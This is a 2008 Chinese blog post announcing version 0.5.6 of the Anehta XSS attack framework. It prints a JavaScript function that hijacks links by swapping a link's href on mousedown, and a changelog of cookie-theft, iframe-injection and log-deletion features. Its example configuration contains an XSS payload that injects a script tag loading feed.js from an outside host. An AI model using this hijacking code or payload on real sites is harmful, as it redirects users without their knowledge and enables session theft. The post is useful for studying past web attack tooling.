Anehta -- hijackLink()链接劫持

    [晴 November 3, 2008 21:12 | by !4p47hy ]
来源:Ph4nt0m Group

在Anehta 0.5.6 中引入了一个新的函数

anehta.trick.hijackLink();这个函数是来源于 Dustin D. Trammell   的一篇blog

http://www.breakingpointsystems.com/community/blog/clickjacking-technique-using-the-mousedown-event

这也可以认为是clickjacking的一种,不过我认为叫做 hijackLink 更加合适。

原理就是 绑定 链接的 onmousedown 事件, 当鼠标点击链接时,将href 替换为新的url,从而起到了劫持的效果。

比如我在demo页面中,有这样一个链接:

Highslide JS


即便是查看属性,也是显示的taobao.com这个链接。但是如果我们用鼠标点开这个链接,却会跳到百度去

Highslide JS


Highslide JS


实际上这个过程只是调用了
anehta.trick.hijackLink(document.getElementById('ln'), "http://www.baidu.com");

就劫持了链接 "ln"了。

这个函数实现过程如下:
anehta.trick.hijackLink = function(link, url){
    if ( link.addEventListener ) {
      link.addEventListener("mousedown", function(e){link.href=url;}, false);
} else if ( link.attachEvent ) {
     link.attachEvent("onmousedown", function(e){link.href=url;});
} else {
var oldhandler = link["onmousedown"];
     if ( oldhandler ) {
        link["onmousedown"] = function(e){oldhandler(e);link.href=url;};
     } else {
        link["onmousedown"] = function(e){link.href=url;};
     }
}  
}


下载地址为:
http://anehta.googlecode.com/files/anehta-v0.5.6.zip

http://anehta.googlecode.com/files/anehta-v0.5.6-withoutQQWry.zip

镜像下载为:
http://www.nukeblog.cn/anehta/anehta-v0.5.6-withoutQQWry.rar

(感谢nuke提供镜像)

这次作出了许多改进,以及修复了许多bug。

主要changelog如下:

Bug Fix:
修正了slave/index.php中设置header的一处bug
修正了glype 中自定义cookie时找不到当前路径导致提交失败的bug
修复了admin.php和/slave/index.php中时区显示不正确的bug
修复了当水印为null时有时候会读取出错的bug
fix其他一些小bug

功能调整:
base.js改名为 anehta.js
anehta.js 不再依赖于jQuery,可以单独加载
扫描签名移到scanner.js中,可选择性加载
修改了clx模块中取cookie的方式,改变成每次访问都发送cookie
将anehta.logger.logCache()移动到了更重要的clx.js中,保证该函数的运行
修改了anehta.inject.injectFlash,加强了兼容性和健壮性
修改了 anehta.inject.injectIframe, 增加了注入iframe的id 和 name属性
改变了logCache()函数的方法,从GET改成POST,支持提交大数据
修改了logCache()函数提交的数据,改变为每次只提交cache中变更的数据
后台realtimecmd提交采用base64编码,以绕过magic_quotes对特殊字符的转义。
发送邮件后从只删除log.txt变为删除整个目录
增加了safe_php库,修补了个别后台的XSS漏洞
调整了文件的目录,主要php文件都集中放到了server文件夹中

New Feature:
新增以下函数:
anehta.inject.addIframe();
anehta.inject.injectCSS();
anehta.net.cssGet();
anehta.net.postFormIntoIframe();
anehta.detect.screenSize();
anehta.trick.hijackLink();
anehta.misc.getCurrentPage();
新增了检测浏览器类型的方法,增加对浏览器指纹的判断,防止了userAgent伪造
统一了anehta.js中函数的命名规则:统一为,第一个单词小写,之后每个单词均大写开
头字母:比如getCurrentPage();
新增了help 模块,可以直接调用 anehta.help(); 查看API手册
新增一个配置脚本: /server/config.php ,可以通过该页面修改配置(admin.php默认
集成了此页面)

关于使用:
下载后,只需要解压缩所有文件到某个目录就可以了

使用前先访问 http://xxxxx/anehta

会自动跳转到 http://xxxxx/anehta/server/admin.php

此次新增了对anehta的配置选项:

目前暂时不支持对mail.php 的配置,以后会加上,需要配置邮件的朋友,请手动打开
server/mail.php 进行配置。

在上面的配置中,修改 anehtaurl 后会自动配置到所有JS文件中,以上三个配置都需
要写,不然无法生成正确的JS文件。

一个典型的配置如下:
anehtaurl: http://www.a.com/anehta  
boomerangtarget: http://www.alimafia.com/xssDemo.html#'><script
src=http://www.secwiki.com/anehta/branches/1/feed.js></script><'
boomerangsrc: http://www.a.com/anehta/demo.html


修改成功后会显示上面三个设置的值,如果没修改成功,请再提交一次表单

如果要使用demo.html,请记得修改demo.html中的XSS引入feed.js的地址。
Tools | Comments(0) | Trackbacks(0) | Reads(9870)
Add a comment
Emots
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
Enable HTML
Enable UBB
Enable Emots
Hidden
Nickname   Password   Optional
Site URI   Email   [Register]
               

Security code Case insensitive